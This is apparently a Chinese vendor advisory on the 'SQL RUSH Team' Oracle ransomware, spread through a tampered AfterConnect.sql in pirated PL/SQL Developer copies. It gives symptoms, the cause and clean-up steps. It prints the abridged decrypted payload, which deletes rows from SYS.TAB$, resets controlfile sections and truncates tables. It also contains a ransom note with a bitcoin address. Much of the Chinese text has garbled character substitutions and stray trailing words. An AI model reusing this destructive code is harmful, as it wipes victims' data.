知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

风险历来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就忽然降临到咱们的身边。sql

近期,国内不少用户的 Oracle 数据库,忽然遭遇到莫名其妙的攻击事件,你们种种猜想、揣摩、重试,引起了一次小小的数据恐慌。数据库

 

在注意到这类安全事件以后,咱们第一时间投入分析、采集,最后找出了问题的根源,昨天已经发出了全面的预警和警示,今天再次详述该类问题,与 Oracle 的用户们共为警醒。安全

 

最近问题的主要缘由是某些用户下载了来源不明的数据库管理工具,致使数据库被感染。咱们强烈推荐你们提升版权意识,购买正版软件,远离风险,从规范作起。服务器

 

问题症状:运维

不少用户在录数据库时发现该问题,数据库应用弹出"锁死"提示,而且威胁说须要向黑客发送5个比特币方可得到解锁。工具

在客户端,你可能得到相似的提示信息:开发工具

在数据库受攻击以后,在数据库的告警日志中,可能充斥以下信息:测试

ORA-00604: error occurred at recursive SQL level 1加密

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  以后把你的Oracle SID邮寄地址 sqlrush@mail.com咱们将让你知道如何解锁你的数据库  spa

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27

ORA-06512: at line 2

这里无非是一些警示和勒索,可是这儿 SQL RUSH Team,引起了你们的猜想,sqlrush @ mail.com ,这个地址 和 id 引起了对于始做俑者的猜想,固然事实不得而知。

 

问题缘由:

咱们经过有限的案例,详细分析了问题的缘由和感染过程,在此披露出来,给 Oracle 的用户们做为参考。

注意:当一个问题研究清楚以后,就再也不会产生恐惧,恐惧来自于未知,在没有遭到缘由以前,你们的各类猜想致使问题扩大化,如今能够回到问题的本质上来了。

 

问题的根本缘由是:若是用户从互联网上下载了盗版的 PL/SQL Developer 工具后(尤为是各类绿色版、破解版),就可能由于这个工具中招。因此这个问题和 Oracle 自己关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就天然被附体的进行了入侵。

 

重要的问题要说三遍:盗版软件害人!

 

PL/SQL Developer  在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql,这个脚本就是真正的问题所在。

 

正版软件安装,这个脚本文件是空文件,可是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。

 

受感染文件 -  AfterConnect.sql 开头是这样的,假装成一个 login.sql 的脚本内容,有清晰的注释代码:

实质内容,以加密方式展现,用户看不到内容,可是能够经过 unwrap 进行解密(可是注意那些解密程序不要存在恶意代码):

无疑,黑客是很是了解 Oracle 数据库的,其脚本代码的核心部分,解密后以下(作了删节,不要害人):

BEGIN

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

   DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  以后把你的Oracle SID邮寄地址sqlrush@mail.com 咱们将让你知道如何解锁你的数据库 ');

   END LOOP;

   END IF;

END;  

 

请注意黑客的专业性,在程序的开端有如下部分判断:

 

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

也就是,判断数据库建立时间大于1200天,才开始动做(这个判断至关有见地,小库和新库,数据少不重要,先放长线钓大鱼),若是你的数据库尚未爆发,那多是由于时间尚未到。

 

咱们强烈建议用户检查数据库工具的使用状况,避免使用来历不明的工具产品。

咱们强烈建议:采用正版软件,规避未知风险。

 

安全漏洞:

咱们知道,几乎绝大多数数据库的客户端工具,在访问数据库时,均可以经过脚本进行必定的功能定义,而这些脚本每每就是安全问题的漏洞之一。本例的攻击手段很是初级,可是也很是巧妙。

 

下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,如下列出了常见客户端工具的脚本位置,须要引发注意:

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

咱们强烈建议用户增强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。

 

处置建议:

这个攻击是经过 JOB、触发器、存储过程 来协同工具的,因此若是数据库遭遇到这个问题,能够将 JOB 参数 job_queue_processes 设置为 0 ,屏蔽掉 JOB 的执行,而后重启数据库。能够清除注入对象,这些对象可能包括如下同名触发器和存储过程:

 

PROCEDURE "DBMS_CORE_INTERNAL         "

PROCEDURE "DBMS_SYSTEM_INTERNAL         "

PROCEDURE "DBMS_SUPPORT_INTERNAL         "

而攻击的核心代码还包括,这会 Truncate 数据表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;

 

若是您的数据库已经遭受攻击和数据损失,能够紧急联系云和恩墨的服务团队,咱们能够帮助您处理数据修复事宜。云和恩墨久经考验的ODU产品,能够在数据丢失后最大限度的恢复数据。云和恩墨的自动化巡检工具:Bethune(白求恩),内置一项检查,访问来源、访问工具分析,能够帮助用户梳理清楚你的数据库使用状况。别犹豫,去 https://bethune.enmotech.com 看看,不收钱。

 

事件回顾:

  • 2015年9月,XcodeGhost入侵苹果iOS事件在业内引发不小震动。事件原由为不知名黑客向iOS应用开发工具Xcode植入恶意程序,经过网盘和论坛上传播,被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示,病毒感染波及AppStore下载量最高的5000个App其中的76个,保守估计受影响用户数超过一亿。

  • 2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。

相关文章
相关标签/搜索